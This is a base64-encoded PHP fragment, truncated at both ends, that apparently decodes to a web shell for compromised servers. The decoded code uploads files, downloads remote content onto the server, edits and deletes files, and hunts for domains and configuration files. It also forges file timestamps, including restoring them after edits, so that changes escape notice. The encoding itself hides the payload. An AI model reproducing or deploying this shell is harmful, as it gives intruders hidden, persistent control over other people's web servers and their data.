Y3hldGR8eG4tLWNnNGJraXx4bi0tY3pyczB0fHhuLS1kMWFjajNifHhuLS1kMWFsZnx4bi0tZTFhNGN8eG4tLWVja3ZkdGM5ZHx4bi0tZWZ2eTg4aHx4bi0tZmN0NDI5a3x4bi0tZmhiZWl8eG4tLWZpcTIyOGM1aHN8eG4tLWZpcTY0Ynx4bi0tZmlxczhzfHhuLS1maXF6OXN8eG4tLWZqcTcyMGF8eG4tLWZsdzM1MWV8eG4tLWZwY3JqOWMzZHx4bi0tZnpjMmM5ZTJjfHhuLS1menlzOGQ2OXV2Z218eG4tLWdja3IzZjBmfHhuLS1nazNhdDFlfHhuLS1oMmJyajljfHhuLS1pMWI2YjFhNmEyZXx4bi0taW1yNTEzbnx4bi0taW8wYTdpfHhuLS1qMWFlZnx4bi0tamxxNDgwbjJyZ3x4bi0tanZyMTg5bXx4bi0ta2NyeDc3ZDF4NGF8eG4tLWtwcncxM2R8eG4tLWtwcnk1N2R8eG4tLWtwdXQzaXx4bi0tbWdiYTNhM2VqdHx4bi0tbWdiYTNhNGYxNmF8eG4tLW1nYmE3YzBiYm4wYXx4bi0tbWdiYWFtN2E4aHx4bi0tbWdiYWIyYmR8eG4tLW1nYmF5aDdncGF8eG4tLW1nYmNhN2R6ZG98eG4tLW1nYmVycDRhNWQ0YXJ8eG4tLW1nYmk0ZWNleHB8eG4tLW1nYnQzZGhkfHhuLS1tazFidTQ0Y3x4bi0tbXh0cTFtfHhuLS1uZ2JjNWF6ZHx4bi0tbmdiZTllMGF8eG4tLW5nYnJ4fHhuLS1ub2RlfHhuLS1ucXY3Znx4bi0tbnF2N2ZzMDBlbWF8eG4tLW55cXkyNmF8eG4tLW90dTc5NmR8eG4tLXAxYWNmfHhuLS1wMWFpfHhuLS1wZ2JzMGRofHhuLS1wc3N5MnV8eG4tLXE5anliNGN8eG4tLXFja2ExcG1jfHhuLS1xeGFtfHhuLS1yaHF2OTZnfHhuLS1yb3Z1ODhifHhuLS1zOWJyajljfHhuLS1zZXM1NTRnfHhuLS10NjBiNTZhfHhuLS10Y2t3ZXx4bi0tdGlxNDl4cXlqfHhuLS11bnVwNHl8eG4tLXZlcm1nZW5zYmVyYXRlci1jdGJ8eG4tLXZlcm1nZW5zYmVyYXR1bmctcHdifHhuLS12aHF1dnx4bi0tdnVxODYxYnx4bi0tdzRyODVlbDhmaHU1ZG5yYXx4bi0tdzRyczQwbHx4bi0td2diaDFjfHhuLS13Z2JsNmF8eG4tLXhocTUyMWJ8eG4tLXhrYzJhbDNoeWUyYXx4bi0teGtjMmRsM2E1ZWUwaHx4bi0teTlhM2FxfHhuLS15ZnJvNGk2N298eG4tLXlnYmkyYW1teHx4bi0temZyMTY0Ynx4eHh8eHl6fHlhY2h0c3x5YWhvb3x5YW1heHVufHlhbmRleHx5b2RvYmFzaGl8eW9nYXx5b2tvaGFtYXx5b3V8eW91dHViZXx5dHx5dW58emFwcG9zfHphcmF8emVyb3x6aXB8em9uZXx6dWVyaWNofCc7CgogICAgICAgIAogICAgICAgIGlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PSAnUE9TVCcgJiYgaXNzZXQoJF9GSUxFU1sndXBsb2FkZmlsZSddKSAmJiBpc3NldCgkX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ3RtcF9uYW1lJ10pKSB7ICAgICAgICAKICAgICAgICAgICAgJGZpbGUgPSAkX0ZJTEVTWyd1cGxvYWRmaWxlJ107CiAgICAgICAgICAgIG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsndG1wX25hbWUnXSwgJGRpci5ESVJFQ1RPUllfU0VQQVJBVE9SLiRmaWxlWyduYW1lJ10pOwogICAgICAgIH0KCiAgICAgICAgCiAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsndXBsb2FkdXJsJ10pICYmICRfUE9TVFsndXBsb2FkdXJsJ10hPSdodHRwczovLy4uLicgJiYgcmF3dXJsZGVjb2RlKCRfUE9TVFsndXBsb2FkdXJsJ10pIT0naHR0cHM6Ly8uLi4nKXsKICAgICAgICAgICAgJHVybCA9IHJhd3VybGRlY29kZSgkX1BPU1RbJ3VwbG9hZHVybCddKTsKICAgICAgICAgICAgJGdldCA9IGdldF9wYWdlKCR1cmwpOwogICAgICAgICAgICBpZigkZ2V0KXsKICAgICAgICAgICAgICAgICRuYW1lID0gYmFzZW5hbWUoJHVybCk7CiAgICAgICAgICAgICAgICBpZighZW1wdHkoJG5hbWUpKXsKICAgICAgICAgICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkbmFtZSwkZ2V0KTsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCdkb3dubG9hZF8nLnRpbWUoKS4nZG93bmxvYWQnLCRnZXQpOwogICAgICAgICAgICAgICAgfSAgICAgICAgICAgICAgICAKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydhY3Rpb24nXSkgJiYgJF9QT1NUWydhY3Rpb24nXT09J3JlbmFtZScgJiYgJF9QT1NUWyduZXdfbmFtZSddIT0nJyAmJiAkX1BPU1RbJ29sZF9maWxlJ10hPScnKXsgICAgICAgIAogICAgICAgICAgICAkb2xkX2ZpbGUgPSBiYXNlNjRfZGVjb2RlKHN0cl9yZXBsYWNlKCcgJywnKycsJF9QT1NUWydvbGRfZmlsZSddKSk7CiAgICAgICAgICAgIGlmKGlzX2ZpbGUoJG9sZF9maWxlKSl7CiAgICAgICAgICAgICAgICByZW5hbWUoJG9sZF9maWxlLCBkaXJuYW1lKCRvbGRfZmlsZSkuRElSRUNUT1JZX1NFUEFSQVRPUi4kX1BPU1RbJ25ld19uYW1lJ10pOyAKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICBpZihpc19kaXIoJG9sZF9maWxlKSl7CiAgICAgICAgICAgICAgICAgICAgJGV4cGxvZGUgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJG9sZF9maWxlKTsKICAgICAgICAgICAgICAgICAgICB1bnNldCgkZXhwbG9kZVtjb3VudCgkZXhwbG9kZSktMV0pOwogICAgICAgICAgICAgICAgICAgIHJlbmFtZSgkb2xkX2ZpbGUsIGltcGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkZXhwbG9kZSkuRElSRUNUT1JZX1NFUEFSQVRPUi4kX1BPU1RbJ25ld19uYW1lJ10pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9ICAgICAgICAgICAgICAgCiAgICAgICAgfQoKICAgICAgICBpZihpc3NldCgkX1BPU1RbJ2FjdGlvbiddKSAmJiAkX1BPU1RbJ2FjdGlvbiddPT0nY3JlYXRlX2RpcicgJiYgJF9QT1NUWyduYW1lJ10hPScnKXsgICAgICAgIAogICAgICAgICAgICBta2RpcigkZGlyLkRJUkVDVE9SWV9TRVBBUkFUT1IuJF9QT1NUWyduYW1lJ10pOyAgICAgICAgCiAgICAgICAgfSAgICAKICAgICAgICBpZihpc3NldCgkX1BPU1RbJ2FjdGlvbiddKSAmJiAkX1BPU1RbJ2FjdGlvbiddPT0nY3JlYXRlX2ZpbGUnICYmICRfUE9TVFsnbmFtZSddIT0nJyl7CiAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRkaXIuRElSRUNUT1JZX1NFUEFSQVRPUi4kX1BPU1RbJ25hbWUnXSwnJyk7ICAgICAgIAogICAgICAgIH0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ2FjdGlvbiddKSAmJiAkX1BPU1RbJ2FjdGlvbiddPT0ncGFzdGVfZmlsZScgJiYgaXNzZXQoJF9DT09LSUVbJ2ZpbGVfY29weSddKSl7CgogICAgICAgICAgICAkZmlsZSA9IGJhc2U2NF9kZWNvZGUoc3RyX3JlcGxhY2UoJyAnLCcrJywkX0NPT0tJRVsnZmlsZV9jb3B5J10pKTsKICAgICAgICAgICAgaWYoaXNfZmlsZSgkZmlsZSkpewogICAgICAgICAgICAgICAgY29weSgkZmlsZSwkZGlyLkRJUkVDVE9SWV9TRVBBUkFUT1IuYmFzZW5hbWUoJGZpbGUpKTsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICBjb3B5RGlyZWN0b3J5KCRmaWxlLCRkaXIuRElSRUNUT1JZX1NFUEFSQVRPUi5iYXNlbmFtZSgkZmlsZSkpOyAgICAgICAgICAgIAogICAgICAgICAgICB9IAogICAgICAgICAgICBzZXRjb29raWUoJ2ZpbGVfY29weScsICcnLCB0aW1lKCkgLSAzNjAwLCAnLycpOyAgICAgICAKICAgICAgICB9CgogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc2VhcmNoX3RleHQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnc2VhcmNoX3RleHQnXSkpewogICAgICAgICAgICBAc2V0X3RpbWVfbGltaXQoMTgwKTsKICAgICAgICAgICAgJHNlYXJjaF90ZXh0ID0gcmF3dXJsZGVjb2RlKCRfUE9TVFsnc2VhcmNoX3RleHQnXSk7CiAgICAgICAgICAgICRyZXN1bHQgPSBzZWFyY2hGaWxlc0luRm9sZGVyKCRkaXIsICRzZWFyY2hfdGV4dCk7CiAgICAgICAgICAgIGZvcmVhY2goJHJlc3VsdCBhcyAkY3VycmVudF9yZXN1bHQpewogICAgICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iJy4kX1NFUlZFUlsnU0NSSVBUX05BTUUnXS4nP2Rpcj0nLmJhc2U2NF9lbmNvZGUoJGN1cnJlbnRfcmVzdWx0WzBdKS4nIj4nLiRjdXJyZW50X3Jlc3VsdFswXS4nPC9hPiAnLiRjdXJyZW50X3Jlc3VsdFsxXS4nPGJyPic7CiAgICAgICAgICAgIH0gICAgICAgICAgIAogICAgICAgICAgICBleGl0KCk7ICAgICAgICAgICAgCiAgICAgICAgfQoKICAgICAgICAKICAgICAgICBpZihpc3NldCgkX0dFVFsnYmFja3VwJ10pICYmIGlzc2V0KCRfR0VUWydkaXInXSkpewogICAgICAgICAgICBpZihpc19maWxlKCRkaXIpKXsKICAgICAgICAgICAgICAgIGNvcHkoJGRpciwkZGlyLidfYmFja3VwXycudGltZSgpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnLiRfU0VSVkVSWydTQ1JJUFRfTkFNRSddLic/ZGlyPScuYmFzZTY0X2VuY29kZShkaXJuYW1lKCRkaXIpKSk7IAogICAgICAgICAgICBleGl0KCk7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIGlmKGlzc2V0KCRfR0VUWydkb3dubG9hZCddKSAmJiBpc3NldCgkX0dFVFsnZGlyJ10pKXsKICAgICAgICAgICAgaWYoaXNfZmlsZSgkZGlyKSl7CiAgICAgICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXInKTsKICAgICAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nKTsKICAgICAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9IicgLiBiYXNlbmFtZSgkZGlyKSAuICciJyk7CiAgICAgICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnIC4gZmlsZXNpemUoJGRpcikpOwogICAgICAgICAgICAgICAgaGVhZGVyKCdQcmFnbWE6IG5vLWNhY2hlJyk7CiAgICAgICAgICAgICAgICBoZWFkZXIoJ0NhY2hlLUNvbnRyb2w6IHByaXZhdGUsIG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlJyk7CiAgICAgICAgICAgICAgICBoZWFkZXIoJ0V4cGlyZXM6IDAnKTsgICAgICAgICAgICAKICAgICAgICAgICAgICAgIHJlYWRmaWxlKCRmaWxlUGF0aCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZXhpdCgpOwogICAgICAgIH0KCiAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ2NoYW5nZXRpbWUnXSkgJiYgaXNzZXQoJF9HRVRbJ2RpciddKSl7CiAgICAgICAgICAgIGlmKGlzX2ZpbGUoJGRpcikpewogICAgICAgICAgICAgICAgJHRpbWUgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgJGZpbGVzID0gYXJyYXlfZGlmZihzY2FuZGlyKGRpcm5hbWUoJGRpcikpLGFycmF5KCcuJywnLi4nKSk7CiAgICAgICAgICAgICAgICAkcG9wdWxhciA9IHRpbWUoKS0zNjAwKjI0Km10X3JhbmQoMSwzMSk7CiAgICAgICAgICAgICAgICBpZihjb3VudCgkZmlsZXMpPjEpewogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGZpbGVzIGFzICRjdXJyZW50X2ZpbGUpeyAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgJGN1cnJlbnRfZmlsZSA9IGRpcm5hbWUoJGRpcikuRElSRUNUT1JZX1NFUEFSQVRPUi4kY3VycmVudF9maWxlOwogICAgICAgICAgICAgICAgICAgICAgICAkbXRpbWUgPSBmaWxlbXRpbWUoJGN1cnJlbnRfZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCR0aW1lWyRtdGltZV0pKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aW1lWyRtdGltZV0rKzsKICAgICAgICAgICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGltZVskbXRpbWVdPTE7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGtzb3J0KCR0aW1lKTsgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAkcG9wdWxhciA9IGtleSgkdGltZSk7CiAgICAgICAgICAgICAgICB9ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICB0b3VjaCgkZGlyLCRwb3B1bGFyLCRwb3B1bGFyKTsgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGhlYWRlcignTG9jYXRpb246ICcuJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10uJz9kaXI9Jy5iYXNlNjRfZW5jb2RlKGRpcm5hbWUoJGRpcikpKTsgICAgICAgICAgICAKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICBpZihpc19kaXIoJGRpcikpewogICAgICAgICAgICAgICAgICAgICRwb3B1bGFyID0gdGltZSgpLTM2MDAqMjQqbXRfcmFuZCgxLDMxKTsKICAgICAgICAgICAgICAgICAgICB0b3VjaCgkZGlyLCRwb3B1bGFyLCRwb3B1bGFyKTsgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgJGV4cGxvZGUgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJGRpcik7CiAgICAgICAgICAgICAgICAgICAgdW5zZXQoJGV4cGxvZGVbY291bnQoJGV4cGxvZGUpLTFdKTsKICAgICAgICAgICAgICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnLiRfU0VSVkVSWydTQ1JJUFRfTkFNRSddLic/ZGlyPScuYmFzZTY0X2VuY29kZShpbXBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJGV4cGxvZGUpKSk7CiAgICAgICAgICAgICAgICB9ICAgICAgICAgICAgCiAgICAgICAgICAgIH0KICAgICAgICAgICAgZXhpdCgpOwogICAgICAgIH0KCiAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ2NoYW5nZXJhbmRvbXRpbWUnXSkgJiYgaXNzZXQoJF9HRVRbJ2RpciddKSl7CiAgICAgICAgICAgICR0aW1lID0gZmlsZW10aW1lKCRkaXIpOwogICAgICAgICAgICBpZihtdF9yYW5kKDAsMSk9PTApewogICAgICAgICAgICAgICAgJHRpbWUrPW10X3JhbmQoMSw1KTsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAkdGltZS09bXRfcmFuZCgxLDUpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHRvdWNoKCRkaXIsJHRpbWUsJHRpbWUpOwogICAgICAgICAgICBpZihpc19maWxlKCRkaXIpKXsgCiAgICAgICAgICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnLiRfU0VSVkVSWydTQ1JJUFRfTkFNRSddLic/ZGlyPScuYmFzZTY0X2VuY29kZShkaXJuYW1lKCRkaXIpKSk7ICAgICAgICAgICAgCiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRkaXIpKXsKICAgICAgICAgICAgICAgICAgICAkZXhwbG9kZSA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkZGlyKTsKICAgICAgICAgICAgICAgICAgICB1bnNldCgkZXhwbG9kZVtjb3VudCgkZXhwbG9kZSktMV0pOwogICAgICAgICAgICAgICAgICAgIGhlYWRlcignTG9jYXRpb246ICcuJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10uJz9kaXI9Jy5iYXNlNjRfZW5jb2RlKGltcGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkZXhwbG9kZSkpKTsKICAgICAgICAgICAgICAgIH0gICAgICAgICAgICAKICAgICAgICAgICAgfQogICAgICAgICAgICBleGl0KCk7CiAgICAgICAgfQoKICAgICAgICBpZihpc3NldCgkX0dFVFsnZGVsJ10pICYmIGlzc2V0KCRfR0VUWydkaXInXSkpewogICAgICAgICAgICBpZihpc19maWxlKCRkaXIpKXsKICAgICAgICAgICAgICAgIHVubGluaygkZGlyKTsKICAgICAgICAgICAgICAgIGhlYWRlcignTG9jYXRpb246ICcuJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10uJz9kaXI9Jy5iYXNlNjRfZW5jb2RlKGRpcm5hbWUoJGRpcikpKTsgICAgICAgICAgICAKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICBpZihpc19kaXIoJGRpcikpewogICAgICAgICAgICAgICAgICAgIGRlbGV0ZURpcmVjdG9yeSgkZGlyKTsKICAgICAgICAgICAgICAgICAgICAkZXhwbG9kZSA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkZGlyKTsKICAgICAgICAgICAgICAgICAgICB1bnNldCgkZXhwbG9kZVtjb3VudCgkZXhwbG9kZSktMV0pOwogICAgICAgICAgICAgICAgICAgIGhlYWRlcignTG9jYXRpb246ICcuJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10uJz9kaXI9Jy5iYXNlNjRfZW5jb2RlKGltcGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkZXhwbG9kZSkpKTsKICAgICAgICAgICAgICAgIH0gICAgICAgICAgICAKICAgICAgICAgICAgfQogICAgICAgICAgICBleGl0KCk7CiAgICAgICAgfQoKICAgICAgICBpZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT0gJ1BPU1QnICYmIGlzc2V0KCRfUE9TVFsnZmlsZSddKSAmJiBpc3NldCgkX1BPU1RbJ2NvbnRlbnQnXSkpIHsKICAgICAgICAgICAgJGN1cnJlbnRfZmlsZSA9IGJhc2U2NF9kZWNvZGUoc3RyX3JlcGxhY2UoJyAnLCcrJywkX1BPU1RbJ2ZpbGUnXSkpOwogICAgICAgICAgICAkY29udGVudCA9IGJhc2U2NF9kZWNvZGUoc3RyX3JlcGxhY2UoJyAnLCcrJywkX1BPU1RbJ2NvbnRlbnQnXSkpOyAgICAgICAgCiAgICAgICAgICAgICRjb250ZW50ID0gaHRtbHNwZWNpYWxjaGFyc19kZWNvZGUoJGNvbnRlbnQpOwogICAgICAgICAgICAkb2xkX2NvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkY3VycmVudF9maWxlKTsKICAgICAgICAgICAgJHRpbWUgPSBmaWxlbXRpbWUoJGN1cnJlbnRfZmlsZSk7CiAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRjdXJyZW50X2ZpbGUsICRjb250ZW50KTsKICAgICAgICAgICAgdG91Y2goJGN1cnJlbnRfZmlsZSwkdGltZSwkdGltZSk7CiAgICAgICAgICAgICRzYXZlX2NvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkY3VycmVudF9maWxlKTsKICAgICAgICAgICAgJGdvb2QgPSAwOwogICAgICAgICAgICBpZigkc2F2ZV9jb250ZW50PT0kY29udGVudCl7CiAgICAgICAgICAgICAgICAkZ29vZCA9IDE7CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJGN1cnJlbnRfZmlsZSwgJG9sZF9jb250ZW50KTsKICAgICAgICAgICAgICAgIHRvdWNoKCRjdXJyZW50X2ZpbGUsJHRpbWUsJHRpbWUpOwogICAgICAgICAgICAgICAgdG91Y2goZGlybmFtZSgkY3VycmVudF9maWxlLCR0aW1lLCR0aW1lKSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaGVhZGVyKCdMb2NhdGlvbjogJy4kX1NFUlZFUlsnU0NSSVBUX05BTUUnXS4nP2Rpcj0nLmJhc2U2NF9lbmNvZGUoJGN1cnJlbnRfZmlsZSkuJyZnb29kPScuJGdvb2QpOwogICAgICAgICAgICBleGl0KCk7CiAgICAgICAgfQoKICAgICAgICAkaXNfZmlsZSA9IGZhbHNlOwogICAgICAgICRjb250ZW50ID0gJyc7CgogICAgICAgIGlmKGlzX2ZpbGUoJGRpcikpewogICAgICAgICAgICAkaXNfZmlsZSA9ICRkaXI7CiAgICAgICAgICAgICRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGRpcik7CiAgICAgICAgICAgICRkaXIgPSBkaXJuYW1lKCRkaXIpOwogICAgICAgIH0KICAgICAgICBpZihpc19kaXIoJGRpcikpewogICAgICAgICAgICAkc2NhbiA9IEBzY2FuZGlyKCRkaXIpOwogICAgICAgICAgICBpZigkc2Nhbj09PWZhbHNlKXsKICAgICAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgJGZpbGVzID0gYXJyYXlfZGlmZigkc2NhbixhcnJheSgnLicsJy4uJykpOyAKICAgICAgICAgICAgfQogICAgICAgIH0gICAgCiAgICAgICAgCiAgICAgICAgCiAgICAgICAgJGxpc3RfYWxsX2RpciA9IGFycmF5KCk7CiAgICAgICAgJGRpcl9hcnJheSA9IGFycmF5KCk7CiAgICAgICAgJGV4cGxvZGVfZGlyID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCAkZGlyKTsKICAgICAgICAkYWxsX2RpciA9IGFycmF5KCk7CiAgICAgICAgJGZvdW5kX2RvbWVuID0gYXJyYXkoKTsKICAgICAgICAkZm91bmRfY29uZmlnID0gYXJyYXkoKTsKICAgICAgICBmb3JlYWNoKCRleHBsb2RlX2RpciBhcyAkY3VycmVudF9wYXRoKXsKICAgICAgICAgICAgJGFsbF9kaXJbXSA9ICRjdXJyZW50X3BhdGg7CiAgICAgICAgICAgICRjdXJyZW50X2RpciA9IGltcGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJGFsbF9kaXIpOwogICAgICAgICAgICBpZihlbXB0eSgkY3VycmVudF9kaXIpKSB7CiAgICAgICAgICAgICAgICAkY3VycmVudF9kaXIgPSBESVJFQ1RPUllfU0VQQVJBVE9SOwogICAgICAgICAgICB9CgogICAgICAgICAgICAkc2NhbmRpciA9IEBzY2FuZGlyKCRjdXJyZW50X2Rpcik7CiAgICAgICAgICAgICRsaXN0X2FsbF9kaXJbXSA9ICdQQVRIOiAnLiRjdXJyZW50X2RpcjsKICAgICAgICAgICAgaWYoaXNfYXJyYXkoJHNjYW5kaXIpKXsKICAgICAgICAgICAgICAgICRmaWxlcyA9IGFycmF5X2RpZmYoJHNjYW5kaXIsYXJyYXkoJy4uJywnLicpKTsgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGZvcmVhY2goJGZpbGVzIGFzICRjdXJyZW50X2ZpbGUpewogICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkY3VycmVudF9kaXIuRElSRUNUT1JZX1NFUEFSQVRPUi4kY3VycmVudF9maWxlKSl7CiAgICAgICAgICAgICAgICAgICAgICAgICRsaXN0X2FsbF9kaXJbXSA9ICcgIFsnLiRjdXJyZW50X2ZpbGUuJ10nOwogICAgICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgICAgICAkbGlzdF9hbGxfZGlyW10gPSAnICAnLiRjdXJyZW50X2ZpbGU7CiAgICAgICAgICAgICAgICAgICAgfSAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgJGxpc3RfYWxsX2RpcltdID0gJ0VSUk9SJzsKICAgICAgICAgICAgfQogICAgICAgICAgICAKCiAgICAgICAgICAgIC8vINCf0YDQvtGB0LrQsNC90LjRgNGD0LXQvCDQtNCw0L3QvdGD0Y4g0LTQuNGA0LXQutGC0L7RgNC40Y4KICAgICAgICAgICAgJGRvbWFpbnMgPSBzY2FuRGlyZWN0b3J5KCRjdXJyZW50X2RpciwgMik7CiAgICAgICAgICAgICRjb25maWcgPSBzY2FuRGlyZWN0b3J5Q29uZmlnKCRjdXJyZW50X2RpciwgMyk7CgogICAgICAgICAgICBpZihpc19hcnJheSgkZG9tYWlucykgJiYgY291bnQoJGRvbWFpbnMpPjApewogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGRvbWFpbnMgYXMgJGN1cnJlbnQpIHsKICAgICAgICAgICAgICAgICAgICAkZXhwbG9kZV9kb21haW4gPSBleHBsb2RlKCd8JywkY3VycmVudCk7CiAgICAgICAgICAgICAgICAgICAgJGZvdW5kX2RvbWVuWyRleHBsb2RlX2RvbWFpblswXV1bJGV4cGxvZGVfZG9tYWluWzFdXSA9IDE7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYoaXNfYXJyYXkoJGNvbmZpZykgJiYgY291bnQoJGNvbmZpZyk+MCl7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkY29uZmlnIGFzICRjdXJyZW50KSB7CiAgICAgICAgICAgICAgICAgICAgJGV4cGxvZGVfZG9tYWluID0gZXhwbG9kZSgnfCcsJGN1cnJlbnQpOwogICAgICAgICAgICAgICAgICAgICRmb3VuZF9jb25maWdbJGV4cGxvZGVfZG9tYWluWzBdXVskZXhwbG9kZV9kb21haW5bMV1dID0gMTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSAgCiAgICAgICAgICAgICRjb2xvciA9ICcnOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgkY3VycmVudF9kaXIpKXsKICAgICAgICAgICAgICAgICRjb2xvciA9ICcjMzJDRDMyJzsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICBpZihpc19yZWFkYWJsZSgkY3VycmVudF9kaXIpKXsKICAgICAgICAgICAgICAgICAgICAkY29sb3IgPSAnI0ZGRDcwMCc7CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICAkY29sb3IgPSAnI0ZGNDUwMCc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYoZW1wdHkoJGN1cnJlbnRfcGF0aCkpICRjdXJyZW50X3BhdGggPSBESVJFQ1RPUllfU0VQQVJBVE9SOwogICAgICAgICAgICAkZGlyX2FycmF5W10gPSAnPGEgaHJlZj0iJy4kX1NFUlZFUlsnU0NSSVBUX05BTUUnXS4nP2Rpcj0nLmJhc2U2NF9lbmNvZGUoJGN1cnJlbnRfZGlyKS4nIiBzdHlsZT0iY29sb3I6Jy4kY29sb3IuJzsiPicuJGN1cnJlbnRfcGF0aC4nPC9hPic7CiAgICAgICAgfSAgICAKCiAgICAgICAgJGxpc3RfYWxsX2RpciA9IGh0bWxzcGVjaWFsY2hhcnMoaW1wbG9kZSgiXFxuIiwkbGlzdF9hbGxfZGlyKSk7CgogICAgICAgICRjb3VudF9mb3VuZF9kb21lbiA9IGNvdW50KCRmb3VuZF9kb21lbik7CiAgICAgICAgJHRleHRfZm91bmRfZG9tZW4gPSBhcnJheSgpOwogICAgICAgIGZvcmVhY2goJGZvdW5kX2RvbWVuIGFzICRjdXJyZW50X2RvbWVuPT4kbGlzdF9wYXRoKXsKICAgICAgICAgICAgJGRucyA9ICdbLV0nOwogICAgICAgICAgICBpZihjaGVja2Ruc3JyKCRjdXJyZW50X2RvbWVuLCAiQSIpKXsKICAgICAgICAgICAgICAgICRkbnMgPSAnWytdJzsKICAgICAgICAgICAgfQogICAgICAgICAgICAkdGV4dF9mb3VuZF9kb21lbltdID0gJGN1cnJlbnRfZG9tZW4uJyAnLiRkbnMuJyAnLmltcGxvZGUoJyAnLCBhcnJheV9rZXlzKCRsaXN0X3BhdGgpKTsKICAgICAgICB9CiAgICAgICAgJHRleHRfZm91bmRfZG9tZW4gPSBodG1sc3BlY2lhbGNoYXJzKGltcGxvZGUoIlxcbiIsJHRleHRfZm91bmRfZG9tZW4pKTsKCiAgICAgICAgJGNvdW50X2ZvdW5kX2NvbmZpZyA9IGNvdW50KCRmb3VuZF9jb25maWcpOwogICAgICAgICR0ZXh0X2ZvdW5kX2NvbmZpZyA9IGFycmF5KCk7CiAgICAgICAgZm9yZWF